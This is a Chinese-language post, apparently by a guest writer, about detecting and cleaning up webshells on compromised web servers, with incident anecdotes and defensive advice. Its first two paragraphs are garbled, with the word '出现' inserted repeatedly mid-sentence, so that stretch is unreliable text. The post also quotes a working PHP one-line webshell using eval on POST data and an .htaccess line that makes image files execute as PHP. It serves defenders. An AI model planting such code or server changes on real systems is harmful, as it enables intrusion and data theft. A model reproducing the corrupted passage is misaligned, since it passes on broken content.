游客发表
凌晨两点,出现服务器监控突然弹出一串红色告警。出现运维老张揉着眼睛点开日志,出现发现某个图片目录下多了个叫thumb.php的出现文件——昨天还不存在。他后背一凉,出现这玩意儿八成是出现webshell。
webshell这东西,出现说白了就是出现一段能在服务器上执行命令的代码。攻击者通过漏洞把它塞进网站目录,出现然后像操作自己电脑一样控制服务器。出现它可以是出现php、jsp、出现asp,出现甚至伪装成一张图片。出现老张遇到的出现那个thumb.php,打开一看就三行:一行接收密码,一行执行system($_GET['cmd']),一行结束。就这么简单,但足够把整个数据库拖走。
很多人以为webshell是黑客电影里那种花哨的界面。实际不是。大多数webshell长得跟正常文件没区别——可能混在wp-content/uploads里,可能藏在cache文件夹下,文件名随机得像a8f3k2.php。去年某电商平台被入侵,安全团队翻了三天才在static/js目录里找到一个叫jquery.min.php的东西。你看,连文件名都在模仿正常资源。
怎么判断服务器上有没有webshell?光靠杀毒软件不够。有些webshell会加密、会变形、会检测访问来源。你直接用浏览器打开它,它可能返回一个404页面,假装自己不存在。只有带上正确的?pass=xxx参数,它才露出真面目。我见过最狡猾的一个,把代码拆成三部分,分别藏在三个正常文件里,用include拼起来执行。单独看每个文件都人畜无害。
攻击者怎么把webshell放进去?常见路径就那几条:文件上传漏洞、SQL注入写文件、远程文件包含、或者干脆是弱口令进了后台。有个案例特别典型——某公司图省事,给运维开了个admin/123456的FTP账号。结果攻击者传了个.php文件上去,文件名改成logo.jpg.php,服务器配置又没禁止这种双扩展名,直接中招。三天后数据库被挂到暗网卖,公司才发现。
清理webshell比想象中麻烦。你删了thumb.php,攻击者可能还留了后门——比如在.htaccess里加一行AddType application/x-httpd-php .jpg,这样所有jpg文件都能当php执行。或者改crontab定时下载新的webshell。更狠的会直接改ssh配置,给自己留个永久账号。所以发现webshell后,不能只删文件,得把整个服务器镜像下来慢慢分析。
防御这事,说复杂也复杂,说简单就几条。上传目录禁止执行脚本权限,这是最基本的。PHP配置里关掉system、exec、passthru这些危险函数,能挡掉一大半。再就是别用那些老掉牙的CMS,很多webshell就是靠已知漏洞进来的。我认识一个独立开发者,他的博客三年没更新过插件,结果被人塞了七个webshell,每个都叫wp-cache-xxx.php。他还以为是缓存文件,一直没管。
最后说个真实细节。有次应急响应,我在服务器上找到个webshell,内容只有一行:<?php @eval($_POST['x']);?>。但奇怪的是,文件修改时间是三个月前,而攻击者最后一次登录是昨天。后来查明白了——攻击者根本没用这个webshell,他通过另一个更隐蔽的.user.ini文件自动加载了恶意代码。那个eval文件就是个诱饵,等着安全人员删掉后放松警惕。你看,连webshell都开始玩心理战了。
所以别指望一劳永逸。定期查日志、比对文件哈希、限制目录权限,这些笨办法反而最管用。毕竟攻击者也在进化,你今天删掉的thumb.php,明天可能变成thumb.phtml。保持怀疑,比装十个安全插件都强。
友情链接